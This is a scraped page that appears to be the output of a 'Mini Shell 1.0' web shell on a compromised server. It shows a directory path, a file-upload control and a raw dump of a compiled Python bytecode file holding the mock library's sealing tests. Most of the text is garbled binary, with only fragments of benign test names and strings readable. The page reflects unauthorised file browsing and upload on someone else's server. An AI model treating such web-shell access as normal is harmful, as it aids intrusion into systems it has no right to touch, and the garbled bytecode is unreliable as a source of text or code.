HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/mock/tests/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/mock/tests/__pycache__/testsealable.cpython-311.pyc
�

���_u���ddlZddlZGd�d��ZGd�dej��Zedkrej��dSdS)�Nc��eZdZd�Zd�ZdS)�SampleObjectc��dS�N���selfs �9/usr/lib/python3/dist-packages/mock/tests/testsealable.py�method_sample1zSampleObject.method_sample1�����c��dSrrrs r
�method_sample2zSampleObject.method_sample2	rr
N)�__name__�
__module__�__qualname__rrrr
r
rrs"������"�"�"�"�"�"�"�"r
rc�z�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�ZdS)�TestSealablec�b�tj��}|�|jtj��|�|���tj��|�|������tj��dSr)�mock�Mock�assertIsInstance�test�test2�r	�ms  r
�,test_attributes_return_more_mocks_by_defaultz9TestSealable.test_attributes_return_more_mocks_by_defaultsw���I�K�K�����a�f�d�i�0�0�0����a�f�f�h�h��	�2�2�2����a�f�f�h�h�n�n�.�.��	�:�:�:�:�:r
c�@�tj��}tj|��|�t��5|jddd��n#1swxYwY|�t��5|��ddd��dS#1swxYwYdSr�rr�seal�assertRaises�AttributeErrorrrs  r
�.test_new_attributes_cannot_be_accessed_on_sealz;TestSealable.test_new_attributes_cannot_be_accessed_on_seals
���I�K�K���	�!����
�
�
�~�
.�
.�	�	�
�F�F�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�
�
�
�~�
.�
.�	�	�
�A�C�C�C�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s$�A�A�A�;B�B�Bc���tj��}tj|��|�t��5d|_ddd��dS#1swxYwYdS�N�rrs  r
�)test_new_attributes_cannot_be_set_on_sealz6TestSealable.test_new_attributes_cannot_be_set_on_seals����I�K�K���	�!����
�
�
�~�
.�
.�	�	��A�F�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�A�A�Ac���tj��}d|j_tj|��d|j_|�|jjd��dS)Nr&�)rrrrr �assertEqualrs  r
�+test_existing_attributes_can_be_set_on_sealz8TestSealable.test_existing_attributes_can_be_set_on_seal%sL���I�K�K�������	�!��������������q�)�)�)�)�)r
c���tj��}d|j_tj|��|�t��5d|j_ddd��dS#1swxYwYdSr%)rrrrr r!r"�test3rs  r
�2test_new_attributes_cannot_be_set_on_child_of_sealz?TestSealable.test_new_attributes_cannot_be_set_on_child_of_seal-s����I�K�K�������	�!����
�
�
�~�
.�
.�	�	��A�F�L�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�
A(�(A,�/A,c��tj��}d|j_tj|��|�|���d��dS)N�)rrr�return_valuer r*rs  r
�+test_existing_attributes_allowed_after_sealz8TestSealable.test_existing_attributes_allowed_after_seal5sH���I�K�K�������	�!������������1�%�%�%�%�%r
c��tjd���}tj|��|�|jd��dS)Nr&)�
test_value)rrr r*r4rs  r
�.test_initialized_attributes_allowed_after_sealz;TestSealable.test_initialized_attributes_allowed_after_seal=s?���I��#�#�#���	�!���������q�)�)�)�)�)r
c���tj��}tj|��|�t��5|��ddd��dS#1swxYwYdSr)rrr r!r"rs  r
�test_call_on_sealed_mock_failsz+TestSealable.test_call_on_sealed_mock_failsCs����I�K�K���	�!����
�
�
�~�
.�
.�	�	�
�A�C�C�C�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�A�A�!Ac��tjd���}tj|��|�|��d��dS)N�)r1)rrr r*rs  r
�)test_call_on_defined_sealed_mock_succeedsz6TestSealable.test_call_on_defined_sealed_mock_succeedsJsC���I�1�%�%�%���	�!�����������a� � � � � r
c��tj��}d|j���_tj|��|�|j���jd��|�t��5|j���j	ddd��n#1swxYwY|�t��5|jjddd��dS#1swxYwYdS)N�)
rr�test1rr-r r*r!r"�test4rs  r
�&test_seals_recurse_on_added_attributesz3TestSealable.test_seals_recurse_on_added_attributesPsL���I�K�K�� !���
�
�����	�!�������������.��2�2�2�
�
�
�~�
.�
.�	"�	"�
�G�M�M�O�O�!�!�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"����	"�	"�	"�	"�
�
�
�~�
.�
.�	�	�
�G�M�M�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s$�B=�=C�C�"
C<�<D�Dc��tj��}d|jjd_d|jjdd�_tj|��|�|jjdjd��|�|jjdd�jd��|�t��5|jjdj	ddd��n#1swxYwY|�t��5|jjdd�j	ddd��dS#1swxYwYdS)Nr<�ar)r9)
r�	MagicMockr=rr-r r*r!r"r>rs  r
�#test_seals_recurse_on_magic_methodsz0TestSealable.test_seals_recurse_on_magic_methods\s����N����#$���
�c�� �#$���
�a��c�� ��	�!����������s�+�1�1�5�5�5�������q��s�+�1�1�5�5�5�
�
�
�~�
.�
.�	%�	%�
�G�M�#��$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�
�
�
�~�
.�
.�	%�	%�
�G�M�!�A�#��$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�	%�	%s$�
C.�.C2�5C2�D:�:D>�D>c�F�tjd���}tjd���|j_d|jj_tj|��|�|jjjd��|jjjd|jj_dS)N�	root_mock��name�
not_sealedr<r&)rrr=rr-r r*r>rs  r
�,test_seals_dont_recurse_on_manual_attributesz9TestSealable.test_seals_dont_recurse_on_manual_attributesjs���I�;�'�'�'���	�|�4�4�4���
����
���	�!����������,�a�0�0�0�	��
������
���r
c�\�tjt��}d|_d|_tj|��|�|jd��|�|jd��|�t��5|j	ddd��dS#1swxYwYdS)z0You are not restricted when using mock with specr&r0N)
rrr�attr_sample1�attr_sample3r r*r!r"�attr_sample2rs  r
�)test_integration_with_spec_att_definitionz6TestSealable.test_integration_with_spec_att_definitionus����I�l�#�#���������	�!����������+�+�+�������+�+�+�
�
�
�~�
.�
.�	�	�
�N�N�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�B!�!B%�(B%c�V�tjt��}d|j_tj|��|�|���d��|�t��5|�	��ddd��dS#1swxYwYdS)z;You need to defin the methods, even if they are in the specr&N)
rrrrr1r r*r!r"rrs  r
�,test_integration_with_spec_method_definitionz9TestSealable.test_integration_with_spec_method_definition�s����I�l�#�#��()���%��	�!��������)�)�+�+�Q�/�/�/�
�
�
�~�
.�
.�	�	�
������	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�<B�B"�%B"c��tjt��}|�t��5d|j_ddd��dS#1swxYwYdS)z)You cannot define methods out of the specr0N)rrrr!r"�method_sample3r1rs  r
�:test_integration_with_spec_method_definition_respects_speczGTestSealable.test_integration_with_spec_method_definition_respects_spec�s����I�l�#�#��
�
�
�~�
.�
.�	.�	.�,-�A��)�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.����	.�	.�	.�	.�	.�	.s�
A�A�Ac��tj��}tj|��|�t��5}|jddd��n#1swxYwY|�dt|j����dS)N�SECRETE_name)	rrr r!r"rU�assertIn�str�	exception�r	r�cms   r
�(test_sealed_exception_has_attribute_namez5TestSealable.test_sealed_exception_has_attribute_name�s����I�K�K���	�!����
�
�
�~�
.�
.�	�"�
�N�N�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	��
�
�n�c�"�,�&7�&7�8�8�8�8�8s�A�A�Ac�n�tjd���}|jjjjtj|��|�t��5}|jjjjj	ddd��n#1swxYwY|�
dt|j����dS)N�	mock_namerFz&mock_name.test1.test2.test3.test4.boom)
rrr=rr-r>r r!r"�boomrVrWrXrYs   r
�"test_attribute_chain_is_maintainedz/TestSealable.test_attribute_chain_is_maintained�s����I�;�'�'�'��	��
��!�!��	�!����
�
�
�~�
.�
.�	+�"�
�G�M��%�*�*�	+�	+�	+�	+�	+�	+�	+�	+�	+�	+�	+����	+�	+�	+�	+��
�
�>��B�L�@Q�@Q�R�R�R�R�Rs�B�B�	Bc���tj��}|���j���jtj|��|�t��5}|���j������ddd��n#1swxYwY|�	dt|j����dS)Nz mock.test1().test2.test3().test4)rrr=rr-r>r r!r"rVrWrXrYs   r
�test_call_chain_is_maintainedz*TestSealable.test_call_chain_is_maintained�s����I�K�K��	���	�	������%�%��	�!����
�
�
�~�
.�
.�	,�"�
�G�G�I�I�O�!�!�#�#�)�)�+�+�+�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��
�
�8�#�b�l�:K�:K�L�L�L�L�Ls�2>B<�<C�CN)rrrrr#r'r+r.r2r5r7r:r?rCrIrNrPrSr[r_rarr
r
rrs*������;�;�;�������*�*�*����&�&�&�*�*�*����!�!�!�
�
�
�%�%�%�	 �	 �	 ����	�	�	�.�.�.�9�9�9�S�S�S�M�M�M�M�Mr
r�__main__)�unittestrr�TestCaserr�mainrr
r
�<module>rfs�����������#�#�#�#�#�#�#�#�`M�`M�`M�`M�`M�8�$�`M�`M�`M�F�z����H�M�O�O�O�O�O��r